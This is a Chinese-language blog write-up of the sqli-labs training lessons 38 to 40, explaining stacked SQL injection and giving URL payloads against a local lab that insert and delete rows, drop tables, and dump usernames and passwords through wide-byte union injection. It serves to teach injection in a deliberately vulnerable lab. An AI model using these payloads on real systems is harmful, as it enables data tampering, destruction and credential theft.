zoukankan      html  css  js  c++  java
  • SQL注入之Sqli-labs系列第三十八关、第三十九关,第四十关(堆叠注入)

    0x1 堆叠注入讲解

    (1)前言

      国内有的称为堆查询注入,也有称之为堆叠注入。个人认为称之为堆叠注入更为准确。堆叠注入为攻击者提供了很多的攻击手段,通过添加一个新 的查询或者终止查询,可以达到修改数据和调用存储过程的目的。这种技术在SQL注入中还是比较频繁的。

    (2)原理介绍

      在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句

    例子:

    select * from student whereid=1;create table test;
    当执行查询后,第一条显示查询信息,第二条则创建一个test表。

    0x2 msyql数据库实例介绍

    (1)查询数据的同时再新建一个表

    select * from student where  id =2;create table test like student;
    这里加入like是复制student的表结构

    查询数据库,确实多了个test表

    (2)查询数据的同时再删除test表

     select * from student where  id =2;drop table test;

    查看数据库,确实test被干掉了

    0x3简单小结

       这样一来我们可以利用堆叠注入进行增删改查等操作,但对于各个数据库(mysql,sqlserver,oracle)等,除oracle不允许外,其他操作可行性同样,(具体其他实例可以参考:https://www.cnblogs.com/0nth3way/articles/7128189.html)

    0x4开始注入  

    构造一个payload:
    http://192.168.232.135/sqli-labs/Less-38/?id=1';insert into users values(100,'test','test')--+

    查看数据库

    windows环境下可采用逃逸的方式:  

    payload:
    http://localhost:81/sqli-labs-master/Less-38/index.php?id=%FE' or 1=1 %23 http://localhost:81/sqli-labs-master/Less-38/index.php?id=%FE' union select 1,version(),database() %23 http://localhost:81/sqli-labs-master/Less-38/index.php?id=%FE' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23 http://localhost:81/sqli-labs-master/Less-38/index.php?id=%FE' union select 1,group_concat(username),group_concat(password) from security.users where 1 %23

    0x5 第三十九关

    同三十八关一样,只是没有了单引号闭合

    不同点:
    $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
    payload:
    http://192.168.232.135/sqli-labs/Less-39/
    ?id=1;insert into users values(100,'test','test')%23
    http://192.168.232.135/sqli-labs/Less-39/
    ?id=1;delete from users where id=100%23

    0x6 第四十关

    不同点:
    $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
  • 相关阅读:
    2.如何安装vmvare tools
    1.如何安装ubuntu
    14.如何读取配置文件的键值对
    android app调试没问题,但打包签名的apk,运行时出现闪退怎么办?
    如何使用jedis进行发布订阅
    如何使用mybatis对mysql数据库进行操作,batis的增删改查
    如何解释json的字符串
    redis可视化工具redisClient
    如何连接远程redis,并且选择某个库进行操作
    理解RESTful架构
  • 原文地址:https://www.cnblogs.com/AmoBlogs/p/8723999.html
Copyright © 2011-2022 走看看